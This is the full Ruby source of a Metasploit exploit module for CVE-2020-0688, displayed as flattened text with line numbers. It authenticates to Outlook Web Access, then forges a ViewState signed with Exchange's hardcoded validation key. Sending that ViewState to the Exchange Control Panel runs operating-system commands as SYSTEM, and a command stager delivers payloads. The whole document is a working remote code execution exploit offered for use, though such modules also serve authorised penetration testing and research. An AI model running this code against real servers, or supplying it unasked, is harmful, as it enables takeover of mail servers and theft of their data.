1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'bindata' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27' VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf" def initialize(info = {}) super(update_info(info, 'Name' => 'Exchange Control Panel Viewstate Deserialization', 'Description'=> %q{ This module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\SYSTEM using .NET deserialization. }, 'Author' => 'Spencer McIntyre', 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2020-0688'], ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'], ], 'Platform' => 'win', 'Targets'=> [ [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ], [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ], [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget'=> 1, 'DisclosureDate' => '2020-02-11', 'Notes'=> { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], } )) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), OptString.new('USERNAME',[ true, 'Username to authenticate as', '' ]), OptString.new('PASSWORD',[ true, 'The password to authenticate with' ]) ]) register_advanced_options([ OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), ]) end def check state = get_request_setup viewstate = state[:viewstate] return CheckCode::Unknown if viewstate.nil? viewstate = Rex::Text.decode_base64(viewstate) body = viewstate[0...-20] signature = viewstate[-20..-1] unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature return CheckCode::Safe end # we've validated the signature matches based on the data we have and thus # proven that we are capable of signing a viewstate ourselves CheckCode::Vulnerable end def generate_viewstate(generator, session_id, cmd) viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd) signature = generate_viewstate_signature(generator, session_id, viewstate) Rex::Text.encode_base64(viewstate + signature) end def generate_viewstate_signature(generator, session_id, viewstate) mac_key_bytes= Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>') mac_key_bytes << Rex::Text.to_unicode(session_id) OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes) end def exploit state = get_request_setup # the major limit is the max length of a GET request, the command will be # XML escaped and then base64 encoded which both increase the size if target.arch.first == ARCH_CMD execute_command(payload.encoded, opts={state: state}) else cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) end end def execute_command(cmd, opts) state = opts[:state] viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd) 5.times do |iteration| # this request *must* be a GET request, can't use POST to use a larger viewstate send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, 'ecp', 'default.aspx'), 'cookie' => state[:cookies].join(''), 'agent'=> state[:user_agent], 'vars_get' => { '__VIEWSTATE'=> viewstate, '__VIEWSTATEGENERATOR' => state[:viewstate_generator] } }) break rescue Rex::ConnectionError, Errno::ECONNRESET => e vprint_warning('Encountered a connection error while sending the command, sleeping before retrying') sleep iteration end end def get_request_setup # need to use a newer default user-agent than what Metasploit currently provides # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'), 'method'=> 'POST', 'agent' => user_agent, 'vars_post' => { 'password'=> datastore['PASSWORD'], 'flags' => '4', 'destination' => full_uri(normalize_uri(target_uri.path, 'owa')), 'username'=> datastore['USERNAME'] } }) fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil? cookies = [res.get_cookies] res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, 'ecp', 'default.aspx'), 'cookie' => res.get_cookies, 'agent'=> user_agent }) fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200 cookies << res.get_cookies viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0] if viewstate_generator.nil? print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}") viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR else vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}") end viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0] if viewstate.nil? vprint_warning('Failed to find the __VIEWSTATE value') end session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0] if session_id.nil? fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies') end vprint_status("Recovered the ASP.NET_SessionID: #{session_id}") {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id} end end |